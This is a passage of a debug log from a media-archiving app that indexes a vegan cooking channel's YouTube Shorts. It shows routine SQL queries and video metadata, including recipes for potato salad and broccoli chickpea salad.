Salad featuring rescued veg from my fave @pekoproduce! 💚🌱\n\nI had some Peko-taters that needed using up SOOO potato salad it is! This comes together real quick, it’s nutritious AND quite yummy. A perfect summer side dish ☀️\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS 👇🏻\n4 medium russet potatos, cubed into small chunks and boiled until fork tender\n1/2 block firm tofu, pressed\n1/2 cup green soy beans (edamame)\n2 stalks celery, finely diced\n1/2 medium yellow onion, finely diced\n3 green onions, finely diced\n1/2 red bell pepper, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard \n1/4 cup sweet green relish\n1.5 tsp smoked paprika\n1 tsp liquid smoke\nSalt and pepper to taste\n\nIn a large bowl, combine the boiled potato (make sure it’s cool to the touch), edamame and all the veggies and crumble in the tofu with your hands. Add the mayo, mustard, relish, paprika, liquid smoke and salt and pepper and stir thoroughly to combine.\n\nGarnish with extra paprika if you like and serve with your fave BBQ foods! 🌱\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my bio for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗/Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗 [DMSvtMzLmdk].NA", "id" => "DMSvtMzLmdk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/DMSvtMzLmdk", "playlist_index" => 398, "timestamp" => 1654394015, "title" => "Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗", "upload_date" => "20220605"} 20:29:37.557 [debug] QUERY OK source="sources" db=1.1ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:37.558 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:37.560 [debug] QUERY OK source="media_items" db=2.3ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-05 01:53:35Z], 1] 20:29:37.564 [debug] QUERY OK source="media_items" db=3.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Easy Veggie + Potato 🥔 Salad featuring rescued veg from my fave @pekoproduce! 💚🌱\n\nI had some Peko-taters that needed using up SOOO potato salad it is! This comes together real quick, it’s nutritious AND quite yummy. A perfect summer side dish ☀️\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS 👇🏻\n4 medium russet potatos, cubed into small chunks and boiled until fork tender\n1/2 block firm tofu, pressed\n1/2 cup green soy beans (edamame)\n2 stalks celery, finely diced\n1/2 medium yellow onion, finely diced\n3 green onions, finely diced\n1/2 red bell pepper, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard \n1/4 cup sweet green relish\n1.5 tsp smoked paprika\n1 tsp liquid smoke\nSalt and pepper to taste\n\nIn a large bowl, combine the boiled potato (make sure it’s cool to the touch), edamame and all the veggies and crumble in the tofu with your hands. Add the mayo, mustard, relish, paprika, liquid smoke and salt and pepper and stir thoroughly to combine.\n\nGarnish with extra paprika if you like and serve with your fave BBQ foods! 🌱\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my bio for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗", "51a034a2-ecbe-4d74-bb30-ab5a7da5c0cd", 1, [], 11, false, "DMSvtMzLmdk", "https://www.youtube.com/shorts/DMSvtMzLmdk", 398, "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗/Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗 [DMSvtMzLmdk].NA", false, false, true, 1, ~U[2022-06-05 01:53:35Z], ~U[2026-03-22 03:29:37Z], ~U[2026-03-22 03:29:37Z], "Easy Veggie + Potato 🥔 Salad featuring rescued veg from my fave @pekoproduce! 💚🌱\n\nI had some Peko-taters that needed using up SOOO potato salad it is! This comes together real quick, it’s nutritious AND quite yummy. A perfect summer side dish ☀️\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS 👇🏻\n4 medium russet potatos, cubed into small chunks and boiled until fork tender\n1/2 block firm tofu, pressed\n1/2 cup green soy beans (edamame)\n2 stalks celery, finely diced\n1/2 medium yellow onion, finely diced\n3 green onions, finely diced\n1/2 red bell pepper, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard \n1/4 cup sweet green relish\n1.5 tsp smoked paprika\n1 tsp liquid smoke\nSalt and pepper to taste\n\nIn a large bowl, combine the boiled potato (make sure it’s cool to the touch), edamame and all the veggies and crumble in the tofu with your hands. Add the mayo, mustard, relish, paprika, liquid smoke and salt and pepper and stir thoroughly to combine.\n\nGarnish with extra paprika if you like and serve with your fave BBQ foods! 🌱\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my bio for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗", 1, 11, false, "DMSvtMzLmdk", "https://www.youtube.com/shorts/DMSvtMzLmdk", "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗/Use up your sad potatoes! 🥔 Make this easy veggie + potato salad 🥗 [DMSvtMzLmdk].NA", true, ~U[2022-06-05 01:53:35Z]] 20:29:37.566 [debug] QUERY OK source="sources" db=1.9ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:37.567 [debug] QUERY OK source="media_profiles" db=0.9ms idle=9.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:37.569 [debug] QUERY OK source="media_items" db=1.1ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [787] 20:29:37.569 [debug] Current batch of media processed. Will check again in 1000ms 20:29:38.570 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Need more food hacks? Watch my TOP 10 FOOD HACKS video ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\n\n\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "duration" => 45, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰/Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰 [9zmbfbfMuo8].NA", "id" => "9zmbfbfMuo8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/9zmbfbfMuo8", "playlist_index" => 399, "timestamp" => 1654369203, "title" => "Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰", "upload_date" => "20220604"} 20:29:38.572 [debug] QUERY OK source="sources" db=1.2ms idle=1006.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:38.573 [debug] QUERY OK source="sources" db=1.0ms idle=1006.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:38.577 [debug] QUERY OK source="media_items" db=3.1ms queue=0.2ms idle=1006.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-04 19:00:03Z], 1] 20:29:38.579 [debug] QUERY OK source="media_items" db=1.4ms idle=1008.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Need more food hacks? Watch my TOP 10 FOOD HACKS video ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\n\n\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰", "5eeba7ab-b452-41d4-816d-705de4ba5184", 1, [], 45, false, "9zmbfbfMuo8", "https://www.youtube.com/shorts/9zmbfbfMuo8", 399, "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰/Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰 [9zmbfbfMuo8].NA", false, false, true, 0, ~U[2022-06-04 19:00:03Z], ~U[2026-03-22 03:29:38Z], ~U[2026-03-22 03:29:38Z], "Need more food hacks? Watch my TOP 10 FOOD HACKS video ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\n\n\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰", 1, 45, false, "9zmbfbfMuo8", "https://www.youtube.com/shorts/9zmbfbfMuo8", "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰/Layer of oil in your nut butter jar? Use this hack for mess-free mixing 🥜 🌰 [9zmbfbfMuo8].NA", true, ~U[2022-06-04 19:00:03Z]] 20:29:38.579 [debug] QUERY OK source="sources" db=0.3ms idle=95.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:38.580 [debug] QUERY OK source="media_profiles" db=0.7ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:38.581 [debug] QUERY OK source="media_items" db=0.8ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [788] 20:29:38.582 [debug] Current batch of media processed. Will check again in 1000ms 20:29:39.583 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "BROCCOLI CHICKPEA SALAD // wholesome, filling and so fresh! 🌱 Perfect for an easy healthy lunch.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\n1 can of chickpeas, drained and rinsed\n1 small crown of broccoli, finely chopped\n1 stalk of celery, finely diced\n2 green onions, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard\n1 tsp garlic powder\n2 tbsp lemon juice\n1/2 tsp salt\nPepper to taste\n\nTo a large bowl, add the chickpeas and mash with a fork to your liking — add all remaining ingredients and stir thoroughly to combine — eat this delicious salad on it’s own, in a sandwich, wrap or on top of a bed of greens, or however the heck else you please!\n\nFollow @steamyvegankitchen for more easy peasy vegan recipes like this! 😍\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #feedfeedvegan \nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩/Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩 [DPLgtVmD9gQ].NA", "id" => "DPLgtVmD9gQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/DPLgtVmD9gQ", "playlist_index" => 400, "timestamp" => 1654354507, "title" => "Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩", "upload_date" => "20220604"} 20:29:39.584 [debug] QUERY OK source="sources" db=0.4ms idle=98.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:39.585 [debug] QUERY OK source="sources" db=0.3ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:39.587 [debug] QUERY OK source="media_items" db=2.3ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-04 14:55:07Z], 1] 20:29:39.589 [debug] QUERY OK source="media_items" db=1.0ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BROCCOLI CHICKPEA SALAD // wholesome, filling and so fresh! 🌱 Perfect for an easy healthy lunch.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\n1 can of chickpeas, drained and rinsed\n1 small crown of broccoli, finely chopped\n1 stalk of celery, finely diced\n2 green onions, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard\n1 tsp garlic powder\n2 tbsp lemon juice\n1/2 tsp salt\nPepper to taste\n\nTo a large bowl, add the chickpeas and mash with a fork to your liking — add all remaining ingredients and stir thoroughly to combine — eat this delicious salad on it’s own, in a sandwich, wrap or on top of a bed of greens, or however the heck else you please!\n\nFollow @steamyvegankitchen for more easy peasy vegan recipes like this! 😍\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #feedfeedvegan \nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193", "Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩", "cea3ae34-59fc-491d-a30b-66b32be93945", 1, [], 11, false, "DPLgtVmD9gQ", "https://www.youtube.com/shorts/DPLgtVmD9gQ", 400, "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩/Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩 [DPLgtVmD9gQ].NA", false, false, true, 1, ~U[2022-06-04 14:55:07Z], ~U[2026-03-22 03:29:39Z], ~U[2026-03-22 03:29:39Z], "BROCCOLI CHICKPEA SALAD // wholesome, filling and so fresh! 🌱 Perfect for an easy healthy lunch.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\n1 can of chickpeas, drained and rinsed\n1 small crown of broccoli, finely chopped\n1 stalk of celery, finely diced\n2 green onions, finely diced\n3 tbsp vegan mayo\n2.5 tbsp dijon mustard\n1 tsp garlic powder\n2 tbsp lemon juice\n1/2 tsp salt\nPepper to taste\n\nTo a large bowl, add the chickpeas and mash with a fork to your liking — add all remaining ingredients and stir thoroughly to combine — eat this delicious salad on it’s own, in a sandwich, wrap or on top of a bed of greens, or however the heck else you please!\n\nFollow @steamyvegankitchen for more easy peasy vegan recipes like this! 😍\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #feedfeedvegan \nMusic by Kevatta - smoke rings - https://thmatc.co/?l=D6AD4193", "Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩", 1, 11, false, "DPLgtVmD9gQ", "https://www.youtube.com/shorts/DPLgtVmD9gQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-04 Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩/Eat ya broccoli! 🥦 or, make this Broccoli Chickpea Salad instead🤩 [DPLgtVmD9gQ].NA", true, ~U[2022-06-04 14:55:07Z]] 20:29:39.589 [debug] QUERY OK source="sources" db=0.5ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:39.590 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:39.590 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [789] 20:29:39.591 [debug] Current batch of media processed. Will check again in 1000ms 20:29:40.592 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Pie so good your eyes will start drooling/Pie so good your eyes will start drooling [uxXV1DJ8tTw].NA", "id" => "uxXV1DJ8tTw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uxXV1DJ8tTw", "playlist_index" => 401, "timestamp" => 1654279215, "title" => "Pie so good your eyes will start drooling", "upload_date" => "20220603"} 20:29:40.593 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 